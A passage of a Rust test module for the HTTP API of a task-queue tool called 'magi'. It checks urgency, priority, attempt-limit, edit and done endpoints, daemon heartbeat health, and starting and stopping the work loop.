17741        );
17742        t.attempts = 2;
17743        t.priority = 9;
17744        t.interrupt = true;
17745        t.hold_reason = Some("waiting for approval".into());
17746        for status in [TaskStatus::Queued, TaskStatus::Held] {
17747            t.status = status;
17748            q.put(&mut t).unwrap();
17749            for urgent in [true, true, false, false] {
17750                let response = f
17751                    .post(
17752                        &format!("/api/queue/{}/urgent", t.short()),
17753                        Some(&format!("{{\"urgent\":{urgent}}}")),
17754                    )
17755                    .await;
17756                assert_eq!(response.status, 200, "{}", response.body);
17757                assert_eq!(response.json()["urgent"], urgent);
17758                let saved = q.get(&t.id).unwrap();
17759                let mut before = serde_json::to_value(&t).unwrap();
17760                let mut after = serde_json::to_value(saved).unwrap();
17761                before["urgent"] = urgent.into();
17762                before.as_object_mut().unwrap().remove("updated_at");
17763                after.as_object_mut().unwrap().remove("updated_at");
17764                assert_eq!(after, before);
17765            }
17766        }
17767        let route = format!("/api/queue/{}/urgent", t.id);
17768        for body in [
17769            r#"{}"#,
17770            r#"{"urgent":null}"#,
17771            r#"{"urgent":"true"}"#,
17772            r#"{"urgent":1}"#,
17773            r#"{"urgent":true,"extra":false}"#,
17774            "{",
17775        ] {
17776            assert_eq!(f.post(&route, Some(body)).await.status, 400);
17777        }
17778        t.status = TaskStatus::Queued;
17779        q.put(&mut t).unwrap();
17780        let claim = q.claim(&t.id).unwrap();
17781        let response = f.post(&route, Some(r#"{"urgent":true}"#)).await;
17782        assert_eq!(response.status, 409, "{}", response.body);
17783        assert!(!q.get(&t.id).unwrap().urgent);
17784        drop(claim);
17785        for status in [
17786            TaskStatus::Running,
17787            TaskStatus::Done,
17788            TaskStatus::Failed,
17789            TaskStatus::Blocked,
17790            TaskStatus::Parked,
17791        ] {
17792            t.status = status;
17793            q.put(&mut t).unwrap();
17794            for urgent in [true, false] {
17795                let response = f
17796                    .post(&route, Some(&format!("{{\"urgent\":{urgent}}}")))
17797                    .await;
17798                assert_eq!(response.status, 400, "{}", response.body);
17799                assert!(response.body.contains(status.as_str()));
17800                assert!(response.body.contains("queued or held"));
17801                assert!(!q.get(&t.id).unwrap().urgent);
17802            }
17803        }
17804        assert_eq!(
17805            f.post("/api/queue/missing/urgent", Some(r#"{"urgent":true}"#))
17806                .await
17807                .status,
17808            404
17809        );
17810    }
17811
17812    #[tokio::test]
17813    async fn priority_can_be_raised_from_the_phone_and_moves_the_task_ahead() {
17814        let f = Fixture::start().await;
17815        let queue = f.queue();
17816        let mut older = Task::new(
17817            "filed first".to_owned(),
17818            "x".to_owned(),
17819            PathBuf::from("/repo/magi"),
17820            Source::Human,
17821        );
17822        older.id = "20260101-000001-aaaa".to_owned();
17823        let mut newer = Task::new(
17824            "filed second".to_owned(),
17825            "x".to_owned(),
17826            PathBuf::from("/repo/magi"),
17827            Source::Human,
17828        );
17829        newer.id = "20260101-000002-bbbb".to_owned();
17830        queue.put(&mut older).expect("file older");
17831        queue.put(&mut newer).expect("file newer");
17832
17833        // Equal priority: the newer task leads, the same order the old
17834        // newest-first `list()` already gave every equal-priority queue.
17835        let before = f.get("/api/queue").await.json();
17836        assert_eq!(before[0]["id"], newer.id);
17837        assert_eq!(before[1]["id"], older.id);
17838
17839        // Raising the *older* task is the meaningful case: it can only lead
17840        // now because its priority says so, not because it happens to be
17841        // newest.
17842        let raised = f
17843            .post(
17844                &format!("/api/queue/{}/priority", older.id),
17845                Some(r#"{"priority":10}"#),
17846            )
17847            .await;
17848        assert_eq!(raised.status, 200, "{}", raised.body);
17849        assert_eq!(raised.json()["priority"], 10);
17850
17851        let after = f.get("/api/queue").await.json();
17852        let names: Vec<&str> = after
17853            .as_array()
17854            .unwrap()
17855            .iter()
17856            .map(|t| t["id"].as_str().unwrap())
17857            .collect();
17858        // Highest priority first, which is the order next_runnable and
17859        // `magi task list` both use - GET /api/queue must agree with it
17860        // immediately, not just once the loop claims the task.
17861        assert_eq!(names[0], older.id, "the raised task now sorts first");
17862    }
17863
17864    #[tokio::test]
17865    async fn task_attempt_limit_api_persists_validates_and_refuses_claims() {
17866        let dir = TempDir::new().unwrap();
17867        let q = Queue::at(dir.path().join("queue"));
17868        let ui = Arc::new(Ui::new(
17869            q.clone(),
17870            Questions::at(dir.path().join("questions")),
17871            Talks::at(dir.path().join("talks")),
17872            dir.path().join("runs"),
17873            dir.path().to_path_buf(),
17874            dir.path().to_path_buf(),
17875        ));
17876        let mut t = Task::new(
17877            "budget".into(),
17878            "keep".into(),
17879            dir.path().into(),
17880            Source::Human,
17881        );
17882        t.attempts = 2;
17883        t.runs.push("prior-run".into());
17884        t.hold_manual(Some("waiting".into()));
17885        q.put(&mut t).unwrap();
17886        let change = |value| {
17887            queue_attempt_limit(
17888                State(ui.clone()),
17889                Path(t.id.clone()),
17890                Ok(Json(AttemptLimitBody {
17891                    attempt_limit: value,
17892                })),
17893            )
17894        };
17895        for value in [
17896            serde_json::json!(3),
17897            serde_json::Value::Null,
17898            serde_json::json!(1),
17899        ] {
17900            let response = change(value.clone()).await.unwrap();
17901            assert_eq!(
17902                serde_json::to_value(response.0).unwrap()["attempt_limit"],
17903                value
17904            );
17905            let saved = q.get(&t.id).unwrap();
17906            assert_eq!(
17907                serde_json::to_value(&saved).unwrap()["attempt_limit"],
17908                value
17909            );
17910            assert_eq!(saved.status, TaskStatus::Held);
17911            assert_eq!(saved.attempts, t.attempts);
17912            assert_eq!(saved.runs, t.runs);
17913            assert_eq!(saved.hold_reason, t.hold_reason);
17914            let detail = task_detail(State(ui.clone()), Path(t.id.clone()))
17915                .await
17916                .unwrap()
17917                .0;
17918            assert_eq!(detail.max_attempts, saved.effective_attempt_limit(2));
17919            assert_eq!(detail.flow.max_attempts, detail.max_attempts);
17920            let outcome = task_outcome(&saved, "prior-run", 2, |_| None);
17921            assert_eq!(outcome.max_attempts, detail.max_attempts);
17922        }
17923        for value in [
17924            serde_json::json!(0),
17925            serde_json::json!(-1),
17926            serde_json::json!(1.5),
17927            serde_json::json!("3"),
17928            serde_json::json!(true),
17929        ] {
17930            assert_eq!(
17931                change(value).await.err().unwrap().status,
17932                StatusCode::BAD_REQUEST
17933            );
17934        }
17935        assert!(serde_json::from_str::<AttemptLimitBody>("{}").is_err());
17936        let claim = q.claim(&t.id).unwrap();
17937        assert_eq!(
17938            change(serde_json::json!(4)).await.err().unwrap().status,
17939            StatusCode::CONFLICT
17940        );
17941        drop(claim);
17942        for status in [
17943            TaskStatus::Running,
17944            TaskStatus::Done,
17945            TaskStatus::Failed,
17946            TaskStatus::Blocked,
17947            TaskStatus::Parked,
17948        ] {
17949            let mut stored = q.get(&t.id).unwrap();
17950            stored.status = status;
17951            q.put(&mut stored).unwrap();
17952            assert_eq!(
17953                change(serde_json::json!(4)).await.err().unwrap().status,
17954                StatusCode::BAD_REQUEST
17955            );
17956            assert_eq!(q.get(&t.id).unwrap().attempt_limit.unwrap().get(), 1);
17957        }
17958        let mut stored = q.get(&t.id).unwrap();
17959        stored.status = TaskStatus::Queued;
17960        q.put(&mut stored).unwrap();
17961        let _ = change(serde_json::Value::Null).await.unwrap();
17962        assert_eq!(q.get(&t.id).unwrap().attempt_limit, None);
17963    }
17964
17965    #[tokio::test]
17966    async fn task_implementers_api_persists_and_refuses_claimed_or_finished_tasks() {
17967        let dir = TempDir::new().unwrap();
17968        let repo = dir.path().join("repo");
17969        std::fs::create_dir(&repo).unwrap();
17970        std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).unwrap();
17971        let q = Queue::at(dir.path().join("queue"));
17972        let ui = Arc::new(Ui::new(
17973            q.clone(),
17974            Questions::at(dir.path().join("questions")),
17975            Talks::at(dir.path().join("talks")),
17976            dir.path().join("runs"),
17977            dir.path().to_path_buf(),
17978            repo.clone(),
17979        ));
17980        let mut t = Task::new(
17981            "seats".into(),
17982            "keep instruction".into(),
17983            repo,
17984            Source::Human,
17985        );
17986        t.runs.push("prior-run".into());
17987        t.hold_manual(Some("waiting".into()));
17988        q.put(&mut t).unwrap();
17989        let change = |count| {
17990            queue_implementers(
17991                State(ui.clone()),
17992                Path(t.id.clone()),
17993                Ok(Json(ImplementersBody {
17994                    implementers: count,
17995                })),
17996            )
17997        };
17998        for count in [2, 1, 2] {
17999            let response = change(count).await.unwrap();
18000            assert_eq!(response.0.task.implementers(), Some(usize::from(count)));
18001            let saved = q.get(&t.id).unwrap();
18002            assert_eq!(saved.implementers(), Some(usize::from(count)));
18003            assert_eq!(saved.runs, t.runs);
18004            assert_eq!(saved.instruction, t.instruction);
18005        }
18006        for count in [0, 4] {
18007            assert_eq!(
18008                change(count).await.err().unwrap().status,
18009                StatusCode::BAD_REQUEST
18010            );
18011        }
18012        assert!(serde_json::from_str::<ImplementersBody>(r#"{"implementers":256}"#).is_err());
18013        let claim = q.claim(&t.id).unwrap();
18014        assert_eq!(change(1).await.err().unwrap().status, StatusCode::CONFLICT);
18015        drop(claim);
18016        for status in [
18017            TaskStatus::Running,
18018            TaskStatus::Done,
18019            TaskStatus::Failed,
18020            TaskStatus::Blocked,
18021            TaskStatus::Parked,
18022        ] {
18023            let mut stored = q.get(&t.id).unwrap();
18024            stored.status = status;
18025            q.put(&mut stored).unwrap();
18026            assert_eq!(
18027                change(1).await.err().unwrap().status,
18028                StatusCode::BAD_REQUEST
18029            );
18030            assert_eq!(q.get(&t.id).unwrap().implementers(), Some(2));
18031        }
18032    }
18033
18034    #[tokio::test]
18035    async fn priority_is_refused_on_a_running_task_with_a_reason_in_the_body() {
18036        let f = Fixture::start().await;
18037        let queue = f.queue();
18038        let mut task = Task::new(
18039            "in flight".to_owned(),
18040            "x".to_owned(),
18041            PathBuf::from("/repo/magi"),
18042            Source::Human,
18043        );
18044        task.start("20260902-140502-bbbb".to_owned());
18045        queue.put(&mut task).expect("file the task");
18046
18047        let res = f
18048            .post(
18049                &format!("/api/queue/{}/priority", task.id),
18050                Some(r#"{"priority":9}"#),
18051            )
18052            .await;
18053        assert_eq!(res.status, 400, "{}", res.body);
18054        assert!(
18055            res.json()["error"]
18056                .as_str()
18057                .is_some_and(|e| e.contains("running")),
18058            "{}",
18059            res.body
18060        );
18061        assert_eq!(
18062            queue.get(&task.id).expect("reload").priority,
18063            0,
18064            "the refused write must not partially apply"
18065        );
18066    }
18067
18068    #[tokio::test]
18069    async fn editing_replaces_title_and_instruction_and_keeps_id_created_at_source_and_runs() {
18070        let f = Fixture::start().await;
18071        let queue = f.queue();
18072        let mut task = Task::new(
18073            "old title".to_owned(),
18074            "old instruction".to_owned(),
18075            PathBuf::from("/repo/magi"),
18076            Source::Agent {
18077                run: "20260101-000000-beef".to_owned(),
18078                node: "implement".to_owned(),
18079            },
18080        );
18081        task.runs.push("20260101-000000-beef".to_owned());
18082        queue.put(&mut task).expect("file the task");
18083        let created_at = task.created_at;
18084
18085        let edited = f
18086            .post(
18087                &format!("/api/queue/{}/edit", task.id),
18088                Some(r#"{"title":"new title","instruction":"new instruction"}"#),
18089            )
18090            .await;
18091        assert_eq!(edited.status, 200, "{}", edited.body);
18092        let body = edited.json();
18093        assert_eq!(body["title"], "new title");
18094        assert_eq!(body["instruction"], "new instruction");
18095        assert_eq!(body["id"], task.id, "editing must not mint a new id");
18096        assert_eq!(body["created_at"], created_at.to_string());
18097        assert_eq!(
18098            body["source"]["kind"], "agent",
18099            "editing a task an agent filed must not turn it human: {body}"
18100        );
18101        assert_eq!(body["runs"], serde_json::json!(["20260101-000000-beef"]));
18102
18103        let reloaded = queue.get(&task.id).expect("reload");
18104        assert_eq!(reloaded.title, "new title");
18105        assert_eq!(reloaded.instruction, "new instruction");
18106    }
18107
18108    #[tokio::test]
18109    async fn editing_in_a_duplicate_is_a_409_naming_the_match_until_forced() {
18110        // The judge is an agent now: a repo whose only agent answers
18111        // "duplicate" stands in for it, so the refusal is the judge's.
18112        let tmp = TempDir::new().expect("tempdir");
18113        let repo = tmp.path().join("repo");
18114        std::fs::create_dir_all(&repo).expect("repo dir");
18115        let judge = MOCK_AGENT_TOML.replace(
18116            "printf ok",
18117            r#"printf '{\"duplicate\":true,\"reason\":\"same branch\"}'"#,
18118        );
18119        std::fs::write(repo.join("magi.toml"), judge).expect("write magi.toml");
18120        let f = Fixture::with_repo(repo.clone()).await;
18121        let queue = f.queue();
18122        let mut owner = Task::new(
18123            "owner".to_owned(),
18124            "review it".to_owned(),
18125            repo.clone(),
18126            Source::Human,
18127        );
18128        owner.review_branch = Some("magi/ab12/A".to_owned());
18129        queue.put(&mut owner).expect("file the owner");
18130        let mut task = Task::new(
18131            "draft".to_owned(),
18132            "old".to_owned(),
18133            repo.clone(),
18134            Source::Human,
18135        );
18136        queue.put(&mut task).expect("file the draft");
18137        let url = format!("/api/queue/{}/edit", task.id);
18138
18139        let refused = f
18140            .post(
18141                &url,
18142                Some(r#"{"title":"t","instruction":"land magi/ab12/A"}"#),
18143            )
18144            .await;
18145        assert_eq!(refused.status, 409, "{}", refused.body);
18146        let msg = refused.json()["error"]
18147            .as_str()
18148            .unwrap_or_default()
18149            .to_owned();
18150        assert!(
18151            msg.contains("magi/ab12/A") && msg.contains("force"),
18152            "{msg}"
18153        );
18154        assert_eq!(queue.get(&task.id).expect("reload").instruction, "old");
18155
18156        let forced = f
18157            .post(
18158                &url,
18159                Some(r#"{"title":"t","instruction":"land magi/ab12/A","force":true}"#),
18160            )
18161            .await;
18162        assert_eq!(forced.status, 200, "{}", forced.body);
18163    }
18164
18165    #[tokio::test]
18166    async fn editing_a_running_task_is_refused_with_a_reason_in_the_response() {
18167        let f = Fixture::start().await;
18168        let queue = f.queue();
18169        let mut task = Task::new(
18170            "in flight".to_owned(),
18171            "do not touch".to_owned(),
18172            PathBuf::from("/repo/magi"),
18173            Source::Human,
18174        );
18175        task.start("20260902-140502-bbbb".to_owned());
18176        queue.put(&mut task).expect("file the task");
18177
18178        let res = f
18179            .post(
18180                &format!("/api/queue/{}/edit", task.id),
18181                Some(r#"{"title":"x","instruction":"y"}"#),
18182            )
18183            .await;
18184        assert_eq!(res.status, 400, "{}", res.body);
18185        assert!(
18186            res.json()["error"]
18187                .as_str()
18188                .is_some_and(|e| e.contains("running")),
18189            "{}",
18190            res.body
18191        );
18192        assert_eq!(
18193            queue.get(&task.id).expect("reload").instruction,
18194            "do not touch",
18195            "the refused edit must not change the file"
18196        );
18197    }
18198
18199    #[tokio::test]
18200    async fn a_claimed_task_refuses_priority_and_edit_the_same_way_it_refuses_hold() {
18201        let f = Fixture::start().await;
18202        let queue = f.queue();
18203        let mut task = Task::new(
18204            "busy".to_owned(),
18205            "Running right now".to_owned(),
18206            PathBuf::from("/repo/magi"),
18207            Source::Human,
18208        );
18209        queue.put(&mut task).expect("file the task");
18210        let _claim = queue.claim(&task.id).expect("stand in for the daemon");
18211
18212        let priority = f
18213            .post(
18214                &format!("/api/queue/{}/priority", task.id),
18215                Some(r#"{"priority":9}"#),
18216            )
18217            .await;
18218        assert_eq!(priority.status, 409, "{}", priority.body);
18219
18220        let edit = f
18221            .post(
18222                &format!("/api/queue/{}/edit", task.id),
18223                Some(r#"{"title":"x","instruction":"y"}"#),
18224            )
18225            .await;
18226        assert_eq!(edit.status, 409, "{}", edit.body);
18227    }
18228
18229    #[tokio::test]
18230    async fn done_from_the_phone_keeps_runs_source_and_created_at_unlike_delete() {
18231        let f = Fixture::start().await;
18232        let queue = f.queue();
18233        let mut task = Task::new(
18234            "shipped by hand".to_owned(),
18235            "merged outside the loop".to_owned(),
18236            PathBuf::from("/repo/magi"),
18237            Source::Agent {
18238                run: "20260101-000000-b455".to_owned(),
18239                node: "implement".to_owned(),
18240            },
18241        );
18242        task.runs.push("20260101-000000-b455".to_owned());
18243        task.runs.push("20260101-000000-9af4".to_owned());
18244        queue.put(&mut task).expect("file the task");
18245        let created_at = task.created_at;
18246
18247        let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
18248        assert_eq!(done.status, 200, "{}", done.body);
18249        assert_eq!(done.json()["status_str"], "done");
18250
18251        let reloaded = queue.get(&task.id).expect("a done task is still on disk");
18252        assert_eq!(
18253            reloaded.runs,
18254            ["20260101-000000-b455", "20260101-000000-9af4"]
18255        );
18256        assert_eq!(
18257            reloaded.source,
18258            Source::Agent {
18259                run: "20260101-000000-b455".to_owned(),
18260                node: "implement".to_owned(),
18261            }
18262        );
18263        assert_eq!(reloaded.created_at, created_at);
18264    }
18265
18266    #[tokio::test]
18267    async fn closing_a_held_task_as_done_from_the_phone_clears_its_hold_reason() {
18268        // `done` is allowed on any status, including `held`, with no release
18269        // in between - so a task held for a reason and then closed directly
18270        // must not keep reading as "waiting on" it afterwards, on its card or
18271        // in `magi task show`.
18272        let f = Fixture::start().await;
18273        let queue = f.queue();
18274        let mut task = Task::new(
18275            "landed while held".to_owned(),
18276            "x".to_owned(),
18277            PathBuf::from("/repo/magi"),
18278            Source::Human,
18279        );
18280        task.hold_manual(Some("waiting on 3ed9".to_owned()));
18281        queue.put(&mut task).expect("file the held task");
18282
18283        let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
18284        assert_eq!(done.status, 200, "{}", done.body);
18285        assert_eq!(done.json()["status_str"], "done");
18286        assert!(
18287            done.json()["hold_reason"].is_null(),
18288            "a done task cannot still be waiting on something: {}",
18289            done.body
18290        );
18291    }
18292
18293    #[tokio::test]
18294    async fn done_from_the_phone_supersedes_an_earlier_blocked_attempt() {
18295        // `queue_done` is the phone's way to close a task the loop never
18296        // settled itself - after confirming a manual GitHub merge, say - and
18297        // that is just as much "this task's story is over" as the loop's own
18298        // `Merged`/`Ready` path, so it must trigger the same cleanup.
18299        let f = Fixture::start().await;
18300        let queue = f.queue();
18301        let runs = f.runs();
18302        write_run(&runs, "20260101-000000-doa1", RunStatus::Blocked);
18303        // The last attempt has to have actually landed for the earlier one
18304        // to count as superseded - see `done_from_the_phone_does_not_supersede_when_the_last_attempt_never_landed`
18305        // for the case where it didn't.
18306        write_run(&runs, "20260101-000000-doa2", RunStatus::Merged);
18307
18308        let mut task = Task::new(
18309            "landed by hand".to_owned(),
18310            "x".to_owned(),
18311            PathBuf::from("/repo/magi"),
18312            Source::Human,
18313        );
18314        task.runs.push("20260101-000000-doa1".to_owned());
18315        task.runs.push("20260101-000000-doa2".to_owned());
18316        queue.put(&mut task).expect("file the task");
18317
18318        let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
18319        assert_eq!(done.status, 200, "{}", done.body);
18320
18321        let reloaded_run = read_run(&runs, "20260101-000000-doa1")
18322            .expect("run still on disk under this fixture's own home");
18323        assert_eq!(
18324            reloaded_run.status,
18325            RunStatus::Superseded,
18326            "closing the task by hand must relabel the earlier blocked attempt exactly \
18327             like the loop's own settle path does"
18328        );
18329    }
18330
18331    #[tokio::test]
18332    async fn done_from_the_phone_does_not_supersede_when_the_last_attempt_never_landed() {
18333        // Closing a task by hand is allowed from any status, including one
18334        // whose last recorded attempt is itself still `Blocked`/`Failed` - a
18335        // manual merge the loop never watched, say. Nothing here is provably
18336        // why the task is done, so nothing earlier gets relabelled either.
18337        let f = Fixture::start().await;
18338        let queue = f.queue();
18339        let runs = f.runs();
18340        write_run(&runs, "20260101-000000-dob1", RunStatus::Blocked);
18341        write_run(&runs, "20260101-000000-dob2", RunStatus::Failed);
18342
18343        let mut task = Task::new(
18344            "closed with nothing actually landed".to_owned(),
18345            "x".to_owned(),
18346            PathBuf::from("/repo/magi"),
18347            Source::Human,
18348        );
18349        task.runs.push("20260101-000000-dob1".to_owned());
18350        task.runs.push("20260101-000000-dob2".to_owned());
18351        queue.put(&mut task).expect("file the task");
18352
18353        let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
18354        assert_eq!(done.status, 200, "{}", done.body);
18355
18356        let reloaded_run = read_run(&runs, "20260101-000000-dob1")
18357            .expect("run still on disk under this fixture's own home");
18358        assert_eq!(
18359            reloaded_run.status,
18360            RunStatus::Blocked,
18361            "the last recorded attempt never landed, so the earlier one must not be \
18362             relabelled as superseded by it"
18363        );
18364    }
18365
18366    #[tokio::test]
18367    async fn unknown_ids_are_json_not_found_on_both_stores() {
18368        let f = Fixture::start().await;
18369
18370        let run = f.get("/api/runs/nosuchrun").await;
18371        let task = f.post("/api/queue/nosuchtask/hold", None).await;
18372
18373        assert_eq!(run.status, 404);
18374        assert_eq!(task.status, 404);
18375        assert!(
18376            run.json()["error"]
18377                .as_str()
18378                .is_some_and(|e| e.contains("run")),
18379            "the error names what was not found: {}",
18380            run.body
18381        );
18382        assert!(
18383            task.json()["error"]
18384                .as_str()
18385                .is_some_and(|e| e.contains("task")),
18386            "the error names what was not found: {}",
18387            task.body
18388        );
18389    }
18390
18391    #[tokio::test]
18392    async fn the_daemon_counts_as_running_only_while_its_heartbeat_is_fresh() {
18393        let f = Fixture::start().await;
18394
18395        let missing = f.get("/api/health").await.json();
18396        assert_eq!(missing["daemon"]["running"], false, "no file, no daemon");
18397
18398        write_daemon(
18399            f.home.path(),
18400            Timestamp::now() - jiff::SignedDuration::from_secs(60),
18401        );
18402        let stale = f.get("/api/health").await.json();
18403        assert_eq!(
18404            stale["daemon"]["running"], false,
18405            "a minute without a heartbeat is a dead daemon, not a busy one"
18406        );
18407        assert!(
18408            stale["daemon"]["stale_for_secs"]
18409                .as_i64()
18410                .is_some_and(|s| s >= 55),
18411            "staleness is reported so the UI can say how long: {stale}"
18412        );
18413
18414        write_daemon(f.home.path(), Timestamp::now());
18415        let fresh = f.get("/api/health").await.json();
18416        assert_eq!(fresh["daemon"]["running"], true);
18417        assert_eq!(fresh["daemon"]["idle"], false);
18418        assert_eq!(fresh["daemon"]["pid"], 4242);
18419        assert_eq!(fresh["daemon"]["completed"], 7);
18420        assert_eq!(
18421            fresh["daemon"]["current"][0]["task"],
18422            "20260902-140501-aaaa"
18423        );
18424        assert_eq!(fresh["version"], env!("CARGO_PKG_VERSION"));
18425    }
18426
18427    #[tokio::test]
18428    async fn the_loop_is_not_running_until_something_starts_it() {
18429        let f = Fixture::start().await;
18430
18431        let view = f.get("/api/loop").await.json();
18432        assert_eq!(view["running"], false);
18433        assert_eq!(
18434            view["owned"], false,
18435            "nobody owns a loop that does not exist: {view}"
18436        );
18437        assert_eq!(view["stopping"], false);
18438        assert_eq!(view["last_error"], Value::Null);
18439        assert_eq!(view["daemon"]["running"], false);
18440        assert_eq!(
18441            view["repo"], "/repo/magi",
18442            "the repository a start would use, named before it is started"
18443        );
18444    }
18445
18446    #[tokio::test]
18447    async fn starting_the_loop_runs_it_in_this_process_and_health_says_the_same() {
18448        let f = Fixture::start().await;
18449
18450        let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
18451        assert_eq!(res.status, 200, "{}", res.body);
18452        let view = res.json();
18453        assert_eq!(view["running"], true);
18454        assert_eq!(
18455            view["owned"], true,
18456            "the loop the UI started is the UI's own to stop: {view}"
18457        );
18458        assert_eq!(
18459            view["merge"],
18460            Value::Null,
18461            "no override was given, so each repository's own config decides"
18462        );
18463
18464        // The same object from the route a waking phone polls first. Two
18465        // surfaces disagreeing about whether anything is running is exactly
18466        // the confusion this UI exists to remove.
18467        let health = f.get("/api/health").await.json();
18468        assert_eq!(health["loop"]["running"], true, "{health}");
18469        assert_eq!(health["loop"]["owned"], true, "{health}");
18470
18471        f.post("/api/loop", Some(r#"{"running":false}"#)).await;
18472    }
18473
18474    #[tokio::test]
18475    async fn a_second_start_is_refused_rather_than_racing_the_first_for_claims() {
18476        let f = Fixture::start().await;
18477        let first = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
18478        assert_eq!(first.status, 200, "{}", first.body);
18479
18480        let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
18481        assert_eq!(
18482            again.status, 409,
18483            "two loops on one queue race for the same claims: {}",
18484            again.body
18485        );
18486        assert!(
18487            again.json()["error"]
18488                .as_str()
18489                .is_some_and(|e| e.contains("already running the loop")),
18490            "the refusal has to say why: {}",
18491            again.body
18492        );
18493        assert_eq!(
18494            f.get("/api/loop").await.json()["running"],
18495            true,
18496            "and the loop that was already running is untouched by it"
18497        );
18498
18499        f.post("/api/loop", Some(r#"{"running":false}"#)).await;
18500    }
18501
18502    #[tokio::test]
18503    async fn stopping_answers_at_once_and_the_loop_settles_stopped() {
18504        let f = Fixture::start().await;
18505        f.post("/api/loop", Some(r#"{"running":true}"#)).await;
18506
18507        let res = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
18508        assert_eq!(
18509            res.status, 200,
18510            "the answer must not wait for the loop: a run in flight is tens of \
18511             minutes and the operator is holding a phone: {}",
18512            res.body
18513        );
18514
18515        let view = settled(&f, |v| v["running"] == false).await;
18516        assert_eq!(view["owned"], false);
18517        assert_eq!(
18518            view["stopping"], false,
18519            "a loop that has stopped is not still stopping: {view}"
18520        );
18521        assert_eq!(
18522            view["last_error"],
18523            Value::Null,
18524            "a loop that was asked to stop did not fail: {view}"
18525        );
18526
18527        // Idempotent, because the operator cannot tell a slow stop from a lost
18528        // one and will press it again.
18529        let twice = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
18530        assert_eq!(twice.status, 200, "{}", twice.body);
18531    }
18532
18533    #[tokio::test]
18534    async fn a_loop_another_process_owns_can_be_neither_started_nor_stopped_here() {
18535        let f = Fixture::start().await;
18536        // How the operator has been doing it: a `magi serve` of their own,
18537        // heartbeat fresh, in the same home this UI reads.
18538        write_daemon(f.home.path(), Timestamp::now());
18539
18540        let view = f.get("/api/loop").await.json();
18541        assert_eq!(view["running"], false, "not in this process: {view}");
18542        assert_eq!(view["owned"], false, "and not this process's to control");
18543        assert_eq!(
18544            view["daemon"]["running"], true,
18545            "but a loop is alive somewhere, which is what the UI must say"
18546        );
18547        assert_eq!(view["daemon"]["pid"], 4242);
18548
18549        for body in [r#"{"running":true}"#, r#"{"running":false}"#] {
18550            let res = f.post("/api/loop", Some(body)).await;
18551            assert_eq!(
18552                res.status, 409,
18553                "neither button may pretend to work on someone else's loop: {}",
18554                res.body
18555            );
18556            assert!(
18557                res.json()["error"]
18558                    .as_str()
18559                    .is_some_and(|e| e.contains("4242")),
18560                "the refusal has to name the process the operator must go to: {}",
18561                res.body
18562            );
18563        }
18564        assert_eq!(
18565            f.get("/api/loop").await.json()["running"],
18566            false,
18567            "and the refusal started nothing"
18568        );
18569    }
18570
18571    #[tokio::test]
18572    async fn a_stale_status_file_is_not_a_foreign_owner() {
18573        let f = Fixture::start().await;
18574        write_daemon(
18575            f.home.path(),
18576            Timestamp::now() - jiff::SignedDuration::from_secs(60),
18577        );
18578
18579        let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
18580        assert_eq!(
18581            res.status, 200,
18582            "a daemon killed a minute ago must not lock the loop out of its \
18583             own home for good: {}",
18584            res.body
18585        );
18586        assert_eq!(res.json()["running"], true);
18587
18588        f.post("/api/loop", Some(r#"{"running":false}"#)).await;
18589    }
18590
18591    #[tokio::test]
18592    async fn loop_rev_moves_on_a_start_so_a_phone_learns_without_polling() {
18593        let f = Fixture::start().await;
18594        let before = f.get("/api/health").await.json()["loop_rev"]
18595            .as_u64()
18596            .expect("a loop revision");
18597
18598        f.post("/api/loop", Some(r#"{"running":true}"#)).await;
18599
18600        let after = f.get("/api/health").await.json()["loop_rev"]
18601            .as_u64()
18602            .expect("a loop revision");
18603        assert!(
18604            after > before,
18605            "the loop is in-process state, so this counter is the only thing \
18606             that tells a second device the first one started it: {before} -> \
18607             {after}"
18608        );
18609
18610        f.post("/api/loop", Some(r#"{"running":false}"#)).await;
18611    }
18612
18613    #[tokio::test]
18614    async fn a_loop_that_failed_says_why_and_does_not_read_as_running() {
18615        let f = Fixture::with_loop(launch_broken).await;
18616
18617        let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
18618        assert_eq!(
18619            res.status, 200,
18620            "starting it is not the failure: {}",
18621            res.body
18622        );
18623
18624        let view = settled(&f, |v| v["last_error"].is_string()).await;
18625        assert_eq!(
18626            view["running"], false,
18627            "a loop that died must not read as running, or the operator has \
18628             nothing to press: {view}"
18629        );
18630        assert_eq!(view["owned"], false);
18631        assert!(
18632            view["last_error"]
18633                .as_str()
18634                .is_some_and(|e| e.contains("read-only file system")),
18635            "the phone is where a loop that died at 3am is visible: {view}"
18636        );
18637
18638        // And it can be started again: the corpse was reaped, not left to
18639        // occupy the slot.
18640        let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
18641        assert_eq!(again.status, 200, "{}", again.body);
18642        assert!(
18643            again.json()["last_error"]
18644                .as_str()
18645                .is_none_or(|e| !e.contains("read-only file system")),
18646            "a fresh start does not keep showing why the last one died: {}",
18647            again.body
18648        );
18649    }
18650
18651    #[tokio::test]
18652    async fn a_newer_daemon_status_file_still_renders() {
18653        let f = Fixture::start().await;
18654        // A field this build has never heard of must not turn the status line
18655        // into a 500; that is the whole reason the reader is permissive.
18656        std::fs::write(
18657            f.home.path().join("daemon.json"),
18658            serde_json::json!({
18659                "schema": 2,
18660                "updated_at": Timestamp::now().to_string(),
18661                "idle": true,
18662                "surprise": { "nested": [1, 2, 3] },
18663            })
18664            .to_string(),
18665        )
18666        .expect("write daemon.json");
18667
18668        let health = f.get("/api/health").await;
18669
18670        assert_eq!(health.status, 200);
18671        assert_eq!(health.json()["daemon"]["running"], true);
18672    }
18673
18674    #[tokio::test]
18675    async fn a_corrupt_run_is_skipped_in_the_list_and_explained_on_its_own_route() {
18676        let f = Fixture::start().await;
18677        write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
18678        let broken = f.runs().join("20260902-140502-bad");
18679        std::fs::create_dir_all(&broken).expect("run dir");
18680        std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
18681
18682        let list = f.get("/api/runs").await;
18683        let detail = f.get("/api/runs/20260902-140502-bad").await;
18684
